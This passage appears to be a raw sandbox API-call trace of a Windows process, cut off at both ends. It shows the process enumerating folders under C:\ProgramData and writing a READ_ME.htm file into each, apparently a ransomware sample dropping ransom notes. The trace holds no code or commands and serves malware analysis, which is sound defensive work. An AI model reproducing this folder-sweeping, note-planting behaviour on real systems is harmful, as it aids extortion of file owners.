Help", nBufferLength=0x105, lpBuffer=0x21d1d0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft Help", lpFilePart=0x0) returned 0x1d [0139.618] SetErrorMode (uMode=0x1) returned 0x0 [0139.618] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft Help\\*" (normalized: "c:\\programdata\\microsoft help\\*"), lpFindFileData=0x21d370 | out: lpFindFileData=0x21d370*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe2f19400, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0x50bd0000, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x50bd0000, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.619] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe2f19400, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0x50bd0000, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x50bd0000, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.620] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xe5875240, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xe5875240, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xe590d7c0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x1a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.DATABASECOMPARE.16.1033.hxn", cAlternateFileName="MSDATA~1.HXN")) returned 1 [0139.620] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xe69dd320, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xe69dd320, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xe6a4f740, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x15e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.EXCEL.16.1033.hxn", cAlternateFileName="MSEXCE~1.HXN")) returned 1 [0139.620] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xeb5e31c0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xeb5e31c0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xeb6555e0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x15e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.GRAPH.16.1033.hxn", cAlternateFileName="MSGRAP~1.HXN")) returned 1 [0139.620] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xe746d4c0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xe746d4c0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xe74df8e0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x164, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.GROOVE.16.1033.hxn", cAlternateFileName="MSGROO~1.HXN")) returned 1 [0139.620] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xe9065740, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xe9065740, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xe90fdcc0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x158, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.LYNC.16.1033.hxn", cAlternateFileName="MSLYNC~1.HXN")) returned 1 [0139.621] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xe9065740, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xe9065740, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xe90fdcc0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.LYNC_BASIC.16.1033.hxn", cAlternateFileName="MSLYNC~3.HXN")) returned 1 [0139.621] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xe9065740, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xe9065740, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xe90fdcc0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.LYNC_ONLINE.16.1033.hxn", cAlternateFileName="MSLYNC~2.HXN")) returned 1 [0139.621] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xe31c6cc0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xe31c6cc0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xe32390e0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x170, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.MSACCESS.16.1033.hxn", cAlternateFileName="MSMSAC~1.HXN")) returned 1 [0139.621] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xeb5e31c0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xeb5e31c0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xeb6555e0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x15e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.MSOUC.16.1033.hxn", cAlternateFileName="MSMSOU~1.HXN")) returned 1 [0139.621] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xf00b8560, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xf00b8560, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xf012a980, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x15e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.MSPUB.16.1033.hxn", cAlternateFileName="MSMSPU~1.HXN")) returned 1 [0139.621] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xe451df80, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xe451df80, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xe45903a0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x16a, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.ONENOTE.16.1033.hxn", cAlternateFileName="MSONEN~1.HXN")) returned 1 [0139.621] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xed88d220, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xed88d220, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xed8ff640, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x16a, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.OUTLOOK.16.1033.hxn", cAlternateFileName="MSOUTL~1.HXN")) returned 1 [0139.622] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xeef50480, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xeef50480, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xeefc28a0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x170, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.POWERPNT.16.1033.hxn", cAlternateFileName="MSPOWE~1.HXN")) returned 1 [0139.622] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xeb5e31c0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xeb5e31c0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xeb6555e0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x16a, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.SETLANG.16.1033.hxn", cAlternateFileName="MSSETL~1.HXN")) returned 1 [0139.622] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xe9065740, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xe9065740, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xe90fdcc0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x16a, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.SKYPEFB.16.1033.hxn", cAlternateFileName="MSSKYP~1.HXN")) returned 1 [0139.622] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xe9065740, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xe9065740, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xe9123e20, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x18e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.SKYPEFB_BASIC.16.1033.hxn", cAlternateFileName="MSSKYP~3.HXN")) returned 1 [0139.622] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xe9065740, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xe9065740, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xe90fdcc0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x194, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.SKYPEFB_ONLINE.16.1033.hxn", cAlternateFileName="MSSKYP~2.HXN")) returned 1 [0139.623] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xe908b8a0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xe908b8a0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xe9123e20, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x19a, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.SKYPEFB_ONLINEG.16.1033.hxn", cAlternateFileName="MSSKYP~4.HXN")) returned 1 [0139.623] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xe5875240, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xe5875240, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xe590d7c0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x1b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.SPREADSHEETCOMPARE.16.1033.hxn", cAlternateFileName="MSSPRE~1.HXN")) returned 1 [0139.623] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xf0fbf040, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xf0fbf040, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xf10575c0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x16a, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.WINWORD.16.1033.hxn", cAlternateFileName="MSWINW~1.HXN")) returned 1 [0139.623] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xe31c6cc0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xe31c6cc0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xf10575c0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x1876, dwReserved0=0x0, dwReserved1=0x0, cFileName="nslist.hxl", cAlternateFileName="")) returned 1 [0139.623] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xe31c6cc0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xe31c6cc0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xf10575c0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x1876, dwReserved0=0x0, dwReserved1=0x0, cFileName="nslist.hxl", cAlternateFileName="")) returned 0 [0139.624] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.625] SetErrorMode (uMode=0x0) returned 0x1 [0139.625] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft Help\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21d070, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft Help\\READ_ME.htm", lpFilePart=0x0) returned 0x29 [0139.625] SetErrorMode (uMode=0x1) returned 0x0 [0139.625] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\READ_ME.htm" (normalized: "c:\\programdata\\microsoft help\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0139.627] GetFileType (hFile=0x1d0) returned 0x1 [0139.627] SetErrorMode (uMode=0x0) returned 0x1 [0139.627] GetFileType (hFile=0x1d0) returned 0x1 [0139.627] WriteFile (in: hFile=0x1d0, lpBuffer=0x28effd0*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d5d8, lpOverlapped=0x0 | out: lpBuffer=0x28effd0*, lpNumberOfBytesWritten=0x21d5d8*=0x720, lpOverlapped=0x0) returned 1 [0139.628] CloseHandle (hObject=0x1d0) returned 1 [0139.629] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft OneDrive", nBufferLength=0x105, lpBuffer=0x21d1d0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft OneDrive", lpFilePart=0x0) returned 0x21 [0139.629] SetErrorMode (uMode=0x1) returned 0x0 [0139.629] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft OneDrive\\*" (normalized: "c:\\programdata\\microsoft onedrive\\*"), lpFindFileData=0x21d370 | out: lpFindFileData=0x21d370*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8a7c4d0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xe8a7c4d0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xe8a7c4d0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.633] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8a7c4d0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xe8a7c4d0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xe8a7c4d0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.633] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8a7c4d0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xe8a7c4d0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xe8a7c4d0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup", cAlternateFileName="")) returned 1 [0139.633] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8a7c4d0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xe8a7c4d0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xe8a7c4d0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup", cAlternateFileName="")) returned 0 [0139.634] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.634] SetErrorMode (uMode=0x0) returned 0x1 [0139.634] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft OneDrive", nBufferLength=0x105, lpBuffer=0x21d1d0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft OneDrive", lpFilePart=0x0) returned 0x21 [0139.634] SetErrorMode (uMode=0x1) returned 0x0 [0139.634] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft OneDrive\\*" (normalized: "c:\\programdata\\microsoft onedrive\\*"), lpFindFileData=0x21d370 | out: lpFindFileData=0x21d370*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8a7c4d0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xe8a7c4d0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xe8a7c4d0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.635] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8a7c4d0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xe8a7c4d0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xe8a7c4d0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.635] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8a7c4d0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xe8a7c4d0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xe8a7c4d0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup", cAlternateFileName="")) returned 1 [0139.635] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8a7c4d0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xe8a7c4d0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xe8a7c4d0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup", cAlternateFileName="")) returned 0 [0139.635] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.636] SetErrorMode (uMode=0x0) returned 0x1 [0139.636] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft OneDrive\\setup", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft OneDrive\\setup", lpFilePart=0x0) returned 0x27 [0139.636] SetErrorMode (uMode=0x1) returned 0x0 [0139.636] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft OneDrive\\setup\\*" (normalized: "c:\\programdata\\microsoft onedrive\\setup\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8a7c4d0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xe8a7c4d0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xe8a7c4d0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.638] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8a7c4d0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xe8a7c4d0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xe8a7c4d0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.638] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8a7c4d0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xe8a7c4d0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xe8a7c4d0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0139.638] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.638] SetErrorMode (uMode=0x0) returned 0x1 [0139.638] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft OneDrive\\setup", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft OneDrive\\setup", lpFilePart=0x0) returned 0x27 [0139.638] SetErrorMode (uMode=0x1) returned 0x0 [0139.639] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft OneDrive\\setup\\*" (normalized: "c:\\programdata\\microsoft onedrive\\setup\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8a7c4d0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xe8a7c4d0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xe8a7c4d0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.639] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8a7c4d0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xe8a7c4d0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xe8a7c4d0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.639] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8a7c4d0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xe8a7c4d0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xe8a7c4d0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0139.639] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.640] SetErrorMode (uMode=0x0) returned 0x1 [0139.640] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft OneDrive\\setup\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cfb0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft OneDrive\\setup\\READ_ME.htm", lpFilePart=0x0) returned 0x33 [0139.640] SetErrorMode (uMode=0x1) returned 0x0 [0139.640] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft OneDrive\\setup\\READ_ME.htm" (normalized: "c:\\programdata\\microsoft onedrive\\setup\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, 